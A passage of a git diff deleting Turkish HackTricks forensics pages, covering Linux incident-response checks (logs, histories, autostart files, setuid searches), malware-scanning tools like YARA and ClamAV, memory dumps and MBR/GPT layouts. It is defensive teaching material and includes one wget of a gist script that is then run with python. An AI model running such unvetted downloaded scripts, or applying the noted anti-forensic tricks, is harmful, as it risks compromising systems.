kullanılan Linux çekirdek modülleri, sistem önyüklemesi sırasında yüklenir. Bu modüller için kritik dizinler ve dosyalar şunlardır: - -- **/lib/modules/$(uname -r)**: Çalışan çekirdek sürümü için modülleri tutar. -- **/etc/modprobe.d**: Modül yüklemeyi kontrol eden yapılandırma dosyalarını içerir. -- **/etc/modprobe** ve **/etc/modprobe.conf**: Küresel modül ayarları için dosyalar. - -### Diğer Otomatik Başlatma Yerleri - -Linux, kullanıcı girişi sırasında programları otomatik olarak çalıştırmak için çeşitli dosyalar kullanır, bu da kötü amaçlı yazılımları barındırma potansiyeline sahiptir: - -- **/etc/profile.d/**\*, **/etc/profile**, ve **/etc/bash.bashrc**: Herhangi bir kullanıcı girişi için çalıştırılır. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, ve **\~/.config/autostart**: Kullanıcıya özgü dosyalar, kullanıcı girişi sırasında çalışır. -- **/etc/rc.local**: Tüm sistem hizmetleri başlatıldıktan sonra çalışır, çok kullanıcılı bir ortama geçişin sonunu işaret eder. - -## Günlükleri İnceleyin - -Linux sistemleri, kullanıcı etkinliklerini ve sistem olaylarını çeşitli günlük dosyaları aracılığıyla takip eder. Bu günlükler, yetkisiz erişimi, kötü amaçlı yazılım enfeksiyonlarını ve diğer güvenlik olaylarını tanımlamak için kritik öneme sahiptir. Anahtar günlük dosyaları şunlardır: - -- **/var/log/syslog** (Debian) veya **/var/log/messages** (RedHat): Sistem genelindeki mesajları ve etkinlikleri yakalar. -- **/var/log/auth.log** (Debian) veya **/var/log/secure** (RedHat): Kimlik doğrulama girişimlerini, başarılı ve başarısız girişleri kaydeder. -- İlgili kimlik doğrulama olaylarını filtrelemek için `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` komutunu kullanın. -- **/var/log/boot.log**: Sistem başlatma mesajlarını içerir. -- **/var/log/maillog** veya **/var/log/mail.log**: E-posta sunucusu etkinliklerini kaydeder, e-posta ile ilgili hizmetleri takip etmek için yararlıdır. -- **/var/log/kern.log**: Hata ve uyarılar da dahil olmak üzere çekirdek mesajlarını saklar. -- **/var/log/dmesg**: Aygıt sürücü mesajlarını tutar. -- **/var/log/faillog**: Başarısız giriş girişimlerini kaydeder, güvenlik ihlali soruşturmalarına yardımcı olur. -- **/var/log/cron**: Cron işlerinin yürütülmelerini kaydeder. -- **/var/log/daemon.log**: Arka plan hizmeti etkinliklerini takip eder. -- **/var/log/btmp**: Başarısız giriş girişimlerini belgeler. -- **/var/log/httpd/**: Apache HTTPD hata ve erişim günlüklerini içerir. -- **/var/log/mysqld.log** veya **/var/log/mysql.log**: MySQL veritabanı etkinliklerini kaydeder. -- **/var/log/xferlog**: FTP dosya transferlerini kaydeder. -- **/var/log/**: Beklenmedik günlükler için burayı her zaman kontrol edin. - -> [!NOTE] -> Linux sistem günlükleri ve denetim alt sistemleri, bir ihlal veya kötü amaçlı yazılım olayı sırasında devre dışı bırakılabilir veya silinebilir. Çünkü Linux sistemlerindeki günlükler genellikle kötü niyetli etkinlikler hakkında en yararlı bilgileri içerir, saldırganlar bunları düzenli olarak siler. Bu nedenle, mevcut günlük dosyalarını incelerken, silinme veya müdahale belirtisi olabilecek boşluklar veya düzensiz girişler aramak önemlidir. - -**Linux, her kullanıcı için bir komut geçmişi tutar**, şu dosyalarda saklanır: - -- \~/.bash_history -- \~/.zsh_history -- \~/.zsh_sessions/\* -- \~/.python_history -- \~/.\*\_history - -Ayrıca, `last -Faiwx` komutu kullanıcı girişlerinin bir listesini sağlar. Bilinmeyen veya beklenmedik girişler için kontrol edin. - -Ek rprivilejeleri verebilecek dosyaları kontrol edin: - -- Verilen beklenmedik kullanıcı ayrıcalıkları için `/etc/sudoers` dosyasını gözden geçirin. -- Verilen beklenmedik kullanıcı ayrıcalıkları için `/etc/sudoers.d/` dosyasını gözden geçirin. -- Herhangi bir olağandışı grup üyeliği veya izinleri tanımlamak için `/etc/groups` dosyasını inceleyin. -- Herhangi bir olağandışı grup üyeliği veya izinleri tanımlamak için `/etc/passwd` dosyasını inceleyin. - -Bazı uygulamalar ayrıca kendi günlüklerini oluşturur: - -- **SSH**: Yetkisiz uzaktan bağlantılar için _\~/.ssh/authorized_keys_ ve _\~/.ssh/known_hosts_ dosyalarını inceleyin. -- **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla yakın zamanda erişilen dosyalar için _\~/.recently-used.xbel_ dosyasını kontrol edin. -- **Firefox/Chrome**: Şüpheli etkinlikler için _\~/.mozilla/firefox_ veya _\~/.config/google-chrome_ dizinlerinde tarayıcı geçmişi ve indirmeleri kontrol edin. -- **VIM**: Erişim sağlanan dosya yolları ve arama geçmişi gibi kullanım detayları için _\~/.viminfo_ dosyasını gözden geçirin. -- **Open Office**: Kompromize olmuş dosyaları gösterebilecek yakın tarihli belge erişimlerini kontrol edin. -- **FTP/SFTP**: Yetkisiz olabilecek dosya transferleri için _\~/.ftp_history_ veya _\~/.sftp_history_ dosyalarını gözden geçirin. -- **MySQL**: Yetkisiz veritabanı etkinliklerini ortaya çıkarabilecek yürütülen MySQL sorguları için _\~/.mysql_history_ dosyasını araştırın. -- **Less**: Görüntülenen dosyalar ve yürütülen komutlar dahil olmak üzere kullanım geçmişi için _\~/.lesshst_ dosyasını analiz edin. -- **Git**: Depolardaki değişiklikler için _\~/.gitconfig_ ve proje _.git/logs_ dosyalarını inceleyin. - -### USB Günlükleri - -[**usbrip**](https://github.com/snovvcrash/usbrip), USB olay geçmişi tabloları oluşturmak için Linux günlük dosyalarını (`/var/log/syslog*` veya dağıtıma bağlı olarak `/var/log/messages*`) ayrıştıran saf Python 3 ile yazılmış küçük bir yazılımdır. - -Kullanılan tüm USB'leri **bilmek** ilginçtir ve "ihlal olaylarını" bulmak için yetkilendirilmiş bir USB listesine sahip olmanız daha faydalı olacaktır (o listedeki USB'lerin dışındaki USB'lerin kullanımı). - -### Kurulum -```bash -pip3 install usbrip -usbrip ids download #Download USB ID database -``` -### Örnekler -```bash -usbrip events history #Get USB history of your curent linux machine -usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user -#Search for vid and/or pid -usbrip ids download #Downlaod database -usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid -``` -Daha fazla örnek ve bilgi github'da: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) - -## Kullanıcı Hesaplarını ve Giriş Aktivitelerini Gözden Geçirin - -_**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** olağandışı isimler veya bilinen yetkisiz olaylarla yakın zamanda oluşturulmuş veya kullanılmış hesaplar için inceleyin. Ayrıca, olası sudo brute-force saldırılarını kontrol edin.\ -Ayrıca, kullanıcılara verilen beklenmedik ayrıcalıkları kontrol etmek için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyaları kontrol edin.\ -Son olarak, **şifresiz** veya **kolay tahmin edilebilen** şifreleri olan hesapları arayın. - -## Dosya Sistemini İnceleyin - -### Kötü Amaçlı Yazılım Soruşturmasında Dosya Sistemi Yapılarını Analiz Etme - -Kötü amaçlı yazılım olaylarını araştırırken, dosya sisteminin yapısı bilgi için kritik bir kaynaktır ve hem olayların sırasını hem de kötü amaçlı yazılımın içeriğini ortaya çıkarır. Ancak, kötü amaçlı yazılım yazarları, dosya zaman damgalarını değiştirmek veya veri depolamak için dosya sisteminden kaçınmak gibi bu analizi engellemek için teknikler geliştirmektedir. - -Bu anti-forensic yöntemlere karşı koymak için, şunları yapmak önemlidir: - -- **Olay zaman çizelgelerini görselleştirmek için** **Autopsy** gibi araçlar kullanarak kapsamlı bir zaman çizelgesi analizi yapın veya detaylı zaman çizelgesi verileri için **Sleuth Kit'in** `mactime` aracını kullanın. -- **Sistemin $PATH'inde beklenmedik betikleri** araştırın; bu, saldırganlar tarafından kullanılan shell veya PHP betiklerini içerebilir. -- **Atypik dosyalar için `/dev`'i inceleyin**, çünkü genellikle özel dosyalar içerir, ancak kötü amaçlı yazılımla ilgili dosyalar barındırabilir. -- **Kötü amaçlı içeriği gizleyebilecek** ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi isimlere sahip gizli dosyaları veya dizinleri arayın. -- **Yükseltilmiş izinlere sahip setuid root dosyalarını** bulmak için şu komutu kullanın: `find / -user root -perm -04000 -print` Bu, saldırganlar tarafından kötüye kullanılabilecek yüksek izinlere sahip dosyaları bulur. -- **Kütük tablolarındaki silme zaman damgalarını** gözden geçirerek, kök kitleri veya trojanların varlığını gösterebilecek kitlesel dosya silme işlemlerini tespit edin. -- **Birini belirledikten sonra** yan yana kötü amaçlı dosyalar için ardışık inode'ları inceleyin; çünkü bunlar birlikte yerleştirilmiş olabilir. -- **Son zamanlarda değiştirilmiş dosyalar için yaygın ikili dizinleri** (_/bin_, _/sbin_) kontrol edin; çünkü bunlar kötü amaçlı yazılım tarafından değiştirilmiş olabilir. -````bash -# List recent files in a directory: -ls -laR --sort=time /bin``` - -# Sort files in a directory by inode: -ls -lai /bin | sort -n``` -```` -> [!NOTE] -> Bir **saldırganın** **zamanı** **değiştirerek** **dosyaların meşru görünmesini** sağlayabileceğini, ancak **inode'u** **değiştiremeyeceğini** unutmayın. Eğer bir **dosyanın**, aynı klasördeki diğer dosyalarla **aynı anda** oluşturulup **değiştirildiğini** gösterdiğini, ancak **inode'unun** **beklenmedik şekilde büyük** olduğunu bulursanız, o **dosyanın zaman damgalarının değiştirildiği** anlamına gelir. - -## Farklı dosya sistemi sürümlerini karşılaştırma - -### Dosya Sistemi Sürüm Karşılaştırma Özeti - -Dosya sistemi sürümlerini karşılaştırmak ve değişiklikleri belirlemek için basitleştirilmiş `git diff` komutlarını kullanıyoruz: - -- **Yeni dosyaları bulmak için**, iki dizini karşılaştırın: -```bash -git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ -``` -- **Değiştirilmiş içerik için**, değişiklikleri belirli satırları göz ardı ederek listeleyin: -```bash -git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" -``` -- **Silinmiş dosyaları tespit etmek için**: -```bash -git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ -``` -- **Filtre seçenekleri** (`--diff-filter`), eklenen (`A`), silinen (`D`) veya değiştirilen (`M`) dosyalar gibi belirli değişikliklere daraltmaya yardımcı olur. -- `A`: Eklenen dosyalar -- `C`: Kopyalanan dosyalar -- `D`: Silinen dosyalar -- `M`: Değiştirilen dosyalar -- `R`: Yeniden adlandırılan dosyalar -- `T`: Tür değişiklikleri (örneğin, dosya ile symlink arasında) -- `U`: Birleştirilmemiş dosyalar -- `X`: Bilinmeyen dosyalar -- `B`: Bozuk dosyalar - -## Referanslar - -- [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) -- [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) -- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Kitap: Linux Sistemleri için Kötü Amaçlı Yazılım Adli Bilişim Alan Rehberi** - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/malware-analysis.md b/src/forensics/basic-forensic-methodology/malware-analysis.md deleted file mode 100644 index d8c8ccd82..000000000 --- a/src/forensics/basic-forensic-methodology/malware-analysis.md +++ /dev/null @@ -1,154 +0,0 @@ -# Kötü Amaçlı Yazılım Analizi - -{{#include ../../banners/hacktricks-training.md}} - -## Adli Bilişim Hile Sayfaları - -[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) - -## Çevrimiçi Hizmetler - -- [VirusTotal](https://www.virustotal.com/gui/home/upload) -- [HybridAnalysis](https://www.hybrid-analysis.com) -- [Koodous](https://koodous.com) -- [Intezer](https://analyze.intezer.com) -- [Any.Run](https://any.run/) - -## Çevrimdışı Antivirüs ve Tespit Araçları - -### Yara - -#### Kurulum -```bash -sudo apt-get install -y yara -``` -#### Kuralları Hazırlayın - -Bu script'i kullanarak github'dan tüm yara kötü amaçlı yazılım kurallarını indirin ve birleştirin: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -_**rules**_ dizinini oluşturun ve çalıştırın. Bu, tüm kötü amaçlı yazılım için yara kurallarını içeren _**malware_rules.yar**_ adlı bir dosya oluşturacaktır. -```bash -wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py -mkdir rules -python malware_yara_rules.py -``` -#### Tarama -```bash -yara -w malware_rules.yar image #Scan 1 file -yara -w malware_rules.yar folder #Scan the whole folder -``` -#### YaraGen: Kötü amaçlı yazılımı kontrol et ve kurallar oluştur - -Binary'den yara kuralları oluşturmak için [**YaraGen**](https://github.com/Neo23x0/yarGen) aracını kullanabilirsiniz. Bu eğitimlere göz atın: [**Bölüm 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Bölüm 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Bölüm 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) -```bash -python3 yarGen.py --update -python3.exe yarGen.py --excludegood -m ../../mals/ -``` -### ClamAV - -#### Kurulum -``` -sudo apt-get install -y clamav -``` -#### Tarama -```bash -sudo freshclam #Update rules -clamscan filepath #Scan 1 file -clamscan folderpath #Scan the whole folder -``` -### [Capa](https://github.com/mandiant/capa) - -**Capa**, yürütülebilir dosyalarda potansiyel olarak zararlı **yetenekleri** tespit eder: PE, ELF, .NET. Bu nedenle, Att\&ck taktikleri veya şüpheli yetenekler gibi şeyleri bulacaktır: - -- OutputDebugString hatasını kontrol et -- bir hizmet olarak çalış -- işlem oluştur - -Bunu [**Github repo**](https://github.com/mandiant/capa) üzerinden edinebilirsiniz. - -### IOCs - -IOC, Kompromi Göstergesi anlamına gelir. Bir IOC, bazı potansiyel olarak istenmeyen yazılımları veya onaylanmış **kötü amaçlı yazılımları** tanımlayan **koşulların** bir setidir. Mavi Takımlar, bu tür tanımları **sistemlerinde** ve **ağlarında** bu tür kötü amaçlı dosyaları **arama** amacıyla kullanır.\ -Bu tanımları paylaşmak çok faydalıdır çünkü bir bilgisayarda kötü amaçlı yazılım tespit edildiğinde ve o kötü amaçlı yazılım için bir IOC oluşturulduğunda, diğer Mavi Takımlar bunu kötü amaçlı yazılımı daha hızlı tanımlamak için kullanabilir. - -IOC'leri oluşturmak veya değiştirmek için bir araç [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -Tanımlı IOC'leri bir cihazda **arama** yapmak için [**Redline**](https://www.fireeye.com/services/freeware/redline.html) gibi araçları kullanabilirsiniz. - -### Loki - -[**Loki**](https://github.com/Neo23x0/Loki), Basit Kompromi Göstergeleri için bir tarayıcıdır.\ -Tespit, dört tespit yöntemine dayanmaktadır: -``` -1. File Name IOC -Regex match on full file path/name - -2. Yara Rule Check -Yara signature matches on file data and process memory - -3. Hash Check -Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files - -4. C2 Back Connect Check -Compares process connection endpoints with C2 IOCs (new since version v.10) -``` -### Linux Malware Detect - -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) , paylaşımlı barındırma ortamlarında karşılaşılan tehditler etrafında tasarlanmış, GNU GPLv2 lisansı altında yayımlanan bir Linux kötü amaçlı yazılım tarayıcısıdır. Saldırılarda aktif olarak kullanılan kötü amaçlı yazılımları çıkarmak ve tespit için imzalar oluşturmak amacıyla ağ kenarı saldırı tespit sistemlerinden tehdit verilerini kullanır. Ayrıca, tehdit verileri LMD ödeme özelliği ile kullanıcı gönderimlerinden ve kötü amaçlı yazılım topluluğu kaynaklarından da elde edilmektedir. - -### rkhunter - -[**rkhunter**](http://rkhunter.sourceforge.net) gibi araçlar, dosya sistemini olası **rootkit** ve kötü amaçlı yazılımlar için kontrol etmek amacıyla kullanılabilir. -```bash -sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] -``` -### FLOSS - -[**FLOSS**](https://github.com/mandiant/flare-floss) bir dizi farklı teknik kullanarak yürütülebilir dosyalar içinde obfuscate edilmiş dizeleri bulmaya çalışan bir araçtır. - -### PEpper - -[PEpper](https://github.com/Th3Hurrican3/PEpper) yürütülebilir dosya içinde bazı temel bilgileri (ikili veriler, entropi, URL'ler ve IP'ler, bazı yara kuralları) kontrol eder. - -### PEstudio - -[PEstudio](https://www.winitor.com/download) Windows yürütülebilir dosyaları hakkında bilgi almayı sağlayan bir araçtır; örneğin, ithalatlar, ihracatlar, başlıklar gibi bilgileri alır, ayrıca virüs toplamını kontrol eder ve potansiyel Att\&ck tekniklerini bulur. - -### Detect It Easy(DiE) - -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) bir dosyanın **şifreli** olup olmadığını tespit etmek ve ayrıca **paketleyicileri** bulmak için kullanılan bir araçtır. - -### NeoPI - -[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) metin/script dosyaları içinde **obfuscate** edilmiş ve **şifreli** içeriği tespit etmek için çeşitli **istatistiksel yöntemler** kullanan bir Python betiğidir. NeoPI'nin amacı, **gizli web shell kodunun tespitine** yardımcı olmaktır. - -### **php-malware-finder** - -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) **obfuscate** edilmiş/**şüpheli kodu** ve genellikle **malware**/webshell'lerde kullanılan **PHP** fonksiyonlarını içeren dosyaları tespit etmek için elinden gelenin en iyisini yapar. - -### Apple Binary Signatures - -Bazı **malware örneklerini** kontrol ederken, imzayı her zaman **kontrol etmelisiniz** çünkü imzayı atan **geliştirici** zaten **malware** ile **ilişkili** olabilir. -```bash -#Get signer -codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" - -#Check if the app’s contents have been modified -codesign --verify --verbose /Applications/Safari.app - -#Check if the signature is valid -spctl --assess --verbose /Applications/Safari.app -``` -## Tespit Teknikleri - -### Dosya Yığma - -Eğer bir web sunucusunun **dosyalarını** içeren bir klasörün **son güncelleme tarihini** biliyorsanız, **web sunucusundaki tüm dosyaların oluşturulma ve değiştirilme tarihlerini kontrol edin** ve eğer herhangi bir tarih **şüpheli** ise, o dosyayı kontrol edin. - -### Temel Değerler - -Eğer bir klasörün dosyaları **değiştirilmemiş olmalıysa**, klasörün **orijinal dosyalarının** **hash'ini** hesaplayabilir ve bunları **mevcut** olanlarla **karşılaştırabilirsiniz**. Değiştirilen her şey **şüpheli** olacaktır. - -### İstatistiksel Analiz - -Bilgiler günlüklerde saklandığında, her bir web sunucusu dosyasının ne kadar kez erişildiği gibi **istatistikleri kontrol edebilirsiniz; çünkü bir web shell en çok erişilenlerden biri olabilir**. - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md deleted file mode 100644 index 42d2c0528..000000000 --- a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ /dev/null @@ -1,37 +0,0 @@ -# Bellek dökümü analizi - -{{#include ../../../banners/hacktricks-training.md}} - -## Başlangıç - -**Kötü amaçlı yazılım** için pcap içinde **arama** yapmaya başlayın. [**Kötü Amaçlı Yazılım Analizi**](../malware-analysis.md) bölümünde belirtilen **araçları** kullanın. - -## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) - -**Volatility, bellek dökümü analizi için ana açık kaynak çerçevesidir**. Bu Python aracı, dış kaynaklardan veya VMware sanal makinelerinden gelen dökümleri analiz eder, dökümün işletim sistemi profiline dayalı olarak süreçler ve şifreler gibi verileri tanımlar. Eklentilerle genişletilebilir, bu da onu adli soruşturmalar için son derece çok yönlü hale getirir. - -**[Buradan bir kılavuz bulabilirsiniz](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** - -## Mini döküm çökme raporu - -Döküm küçükse (sadece birkaç KB, belki birkaç MB) muhtemelen bir mini döküm çökme raporudur ve bellek dökümü değildir. - -![](<../../../images/image (216).png>) - -Eğer Visual Studio yüklüyse, bu dosyayı açabilir ve süreç adı, mimari, istisna bilgisi ve yürütülen modüller gibi bazı temel bilgileri bağlayabilirsiniz: - -![](<../../../images/image (217).png>) - -Ayrıca istisnayı yükleyebilir ve decompile edilmiş talimatları görebilirsiniz. - -![](<../../../images/image (219).png>) - -![](<../../../images/image (218) (1).png>) - -Her neyse, Visual Studio, dökümün derinlemesine analizi için en iyi araç değildir. - -Bunu **IDA** veya **Radare** kullanarak **derinlemesine** incelemek için **açmalısınız**. - -​ - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md deleted file mode 100644 index 8c90f1285..000000000 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ /dev/null @@ -1,234 +0,0 @@ -# Partitions/Dosya Sistemleri/Carving - -{{#include ../../../banners/hacktricks-training.md}} - -## Partisyonlar - -Bir sabit disk veya bir **SSD diski, verileri fiziksel olarak ayırma** amacıyla farklı partisyonlar içerebilir.\ -Diskin **minimum** birimi **sektördür** (normalde 512B'den oluşur). Bu nedenle, her bir partisyon boyutu bu boyutun katı olmalıdır. - -### MBR (master Boot Record) - -**Boot kodunun 446B'sinden sonra diskin ilk sektöründe** tahsis edilmiştir. Bu sektör, PC'ye bir partisyonun ne zaman ve nereden bağlanması gerektiğini belirtmek için gereklidir.\ -En fazla **4 partisyon** sağlar (en fazla **1** aktif/**bootable** olabilir). Ancak daha fazla partisyona ihtiyacınız varsa **genişletilmiş partisyonlar** kullanabilirsiniz. Bu ilk sektörün **son baytı** boot kayıt imzası **0x55AA**'dır. Sadece bir partisyon aktif olarak işaretlenebilir.\ -MBR, **maksimum 2.2TB**'yi destekler. - -![](<../../../images/image (489).png>) - -![](<../../../images/image (490).png>) - -MBR'nin **440 ile 443 baytları** arasında **Windows Disk İmzası** bulunabilir (Windows kullanılıyorsa). Sabit diskin mantıksal sürücü harfi, Windows Disk İmzasına bağlıdır. Bu imzanın değiştirilmesi, Windows'un başlatılmasını engelleyebilir (araç: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. - -![](<../../../images/image (493).png>) - -**Format** - -| Offset | Length | Item | -| ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot kodu | -| 446 (0x1BE) | 16 (0x10) | İlk Partisyon | -| 462 (0x1CE) | 16 (0x10) | İkinci Partisyon | -| 478 (0x1DE) | 16 (0x10) | Üçüncü Partisyon | -| 494 (0x1EE) | 16 (0x10) | Dördüncü Partisyon | -| 510 (0x1FE) | 2 (0x2) | İmza 0x55 0xAA | - -**Partition Record Format** - -| Offset | Length | Item | -| --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Aktif bayrağı (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Başlangıç başlığı | -| 2 (0x02) | 1 (0x01) | Başlangıç sektörü (bit 0-5); silindirin üst bitleri (6-7) | -| 3 (0x03) | 1 (0x01) | Başlangıç silindiri en düşük 8 bit | -| 4 (0x04) | 1 (0x01) | Partisyon türü kodu (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | Bitiş başlığı | -| 6 (0x06) | 1 (0x01) | Bitiş sektörü (bit 0-5); silindirin üst bitleri (6-7) | -| 7 (0x07) | 1 (0x01) | Bitiş silindiri en düşük 8 bit | -| 8 (0x08) | 4 (0x04) | Partisyondan önceki sektörler (little endian) | -| 12 (0x0C) | 4 (0x04) | Partisyondaki sektörler | - -Bir MBR'yi Linux'ta bağlamak için önce başlangıç ofsetini almanız gerekir (bunu `fdisk` ve `p` komutunu kullanarak yapabilirsiniz) - -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) - -Ve ardından aşağıdaki kodu kullanın -```bash -#Mount MBR in Linux -mount -o ro,loop,offset= -#63x512 = 32256Bytes -mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ -``` -**LBA (Mantıksal blok adresleme)** - -**Mantıksal blok adresleme** (**LBA**), bilgisayar depolama cihazlarında saklanan veri bloklarının konumunu belirtmek için yaygın olarak kullanılan bir şemadır; genellikle sabit disk sürücüleri gibi ikincil depolama sistemleridir. LBA, özellikle basit bir doğrusal adresleme şemasına sahiptir; **bloklar bir tamsayı indeksi ile konumlandırılır**, ilk blok LBA 0, ikinci LBA 1 şeklindedir. - -### GPT (GUID Bölüm Tablosu) - -GUID Bölüm Tablosu, GPT olarak bilinir ve MBR (Ana Önyükleme Kaydı) ile karşılaştırıldığında geliştirilmiş yetenekleri nedeniyle tercih edilmektedir. Bölümler için **küresel benzersiz tanımlayıcı** ile ayırt edici olan GPT, birkaç yönden öne çıkmaktadır: - -- **Konum ve Boyut**: Hem GPT hem de MBR **sektör 0**'da başlar. Ancak, GPT **64 bit** üzerinde çalışırken, MBR **32 bit** kullanır. -- **Bölüm Sınırları**: GPT, Windows sistemlerinde **128 bölüme** kadar destekler ve **9.4ZB**'a kadar veri depolayabilir. -- **Bölüm İsimleri**: Bölümlere 36 Unicode karaktere kadar isim verme imkanı sunar. - -**Veri Dayanıklılığı ve Kurtarma**: - -- **Yedeklilik**: MBR'nin aksine, GPT bölümleme ve önyükleme verilerini tek bir yere hapsetmez. Bu verileri disk boyunca çoğaltarak veri bütünlüğünü ve dayanıklılığını artırır. -- **Döngüsel Yedeklilik Kontrolü (CRC)**: GPT, veri bütünlüğünü sağlamak için CRC kullanır. Veri bozulmasını aktif olarak izler ve tespit edildiğinde, GPT bozulmuş veriyi başka bir disk konumundan kurtarmaya çalışır. - -**Koruyucu MBR (LBA0)**: - -- GPT, koruyucu bir MBR aracılığıyla geriye dönük uyumluluğu sürdürmektedir. Bu özellik, eski MBR tabanlı yardımcı programların yanlışlıkla GPT disklerini üzerine yazmasını önlemek için tasarlanmıştır, böylece GPT formatlı disklerde veri bütünlüğünü korur. - -![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>) - -**Hibrit MBR (LBA 0 + GPT)** - -[Wikipedia'dan](https://en.wikipedia.org/wiki/GUID_Partition_Table) - -**EFI** yerine **BIOS** hizmetleri aracılığıyla **GPT tabanlı önyükleme** destekleyen işletim sistemlerinde, ilk sektör hala **önyükleyici** kodunun ilk aşamasını depolamak için kullanılabilir, ancak **GPT** **bölümlerini tanıyacak şekilde **değiştirilmiştir. MBR'deki önyükleyici, 512 baytlık bir sektör boyutu varsaymamalıdır. - -**Bölüm tablosu başlığı (LBA 1)** - -[Wikipedia'dan](https://en.wikipedia.org/wiki/GUID_Partition_Table) - -Bölüm tablosu başlığı, diskteki kullanılabilir blokları tanımlar. Ayrıca, bölüm tablosunu oluşturan bölüm girişlerinin sayısını ve boyutunu tanımlar (tablodaki 80 ve 84 ofsetleri). - -| Ofset | Uzunluk | İçerik | -| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bayt | İmza ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h veya 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)küçük sonlu makinelerde) | -| 8 (0x08) | 4 bayt | UEFI 2.8 için Revizyon 1.0 (00h 00h 01h 00h) | -| 12 (0x0C) | 4 bayt | Küçük sonlu (bayt cinsinden, genellikle 5Ch 00h 00h 00h veya 92 bayt) başlık boyutu | -| 16 (0x10) | 4 bayt | [CRC32](https://en.wikipedia.org/wiki/CRC32) başlığın CRC'si (ofset +0'dan başlık boyutuna kadar) küçük sonlu, bu alan hesaplama sırasında sıfırlanır | -| 20 (0x14) | 4 bayt | Ayrılmış; sıfır olmalıdır | -| 24 (0x18) | 8 bayt | Mevcut LBA (bu başlık kopyasının konumu) | -| 32 (0x20) | 8 bayt | Yedek LBA (diğer başlık kopyasının konumu) | -| 40 (0x28) | 8 bayt | Bölümler için ilk kullanılabilir LBA (birincil bölüm tablosunun son LBA'sı + 1) | -| 48 (0x30) | 8 bayt | Son kullanılabilir LBA (ikincil bölüm tablosunun ilk LBA'sı − 1) | -| 56 (0x38) | 16 bayt | Disk GUID'i karışık sonlu | -| 72 (0x48) | 8 bayt | Bir dizi bölüm girişinin başlangıç LBA'sı (her zaman birincil kopyada 2) | -| 80 (0x50) | 4 bayt | Dizideki bölüm girişlerinin sayısı | -| 84 (0x54) | 4 bayt | Tek bir bölüm girişinin boyutu (genellikle 80h veya 128) | -| 88 (0x58) | 4 bayt | Küçük sonlu bölüm girişleri dizisinin CRC32'si | -| 92 (0x5C) | \* | Ayrılmış; blokun geri kalanında sıfır olmalıdır (512 baytlık bir sektör boyutu için 420 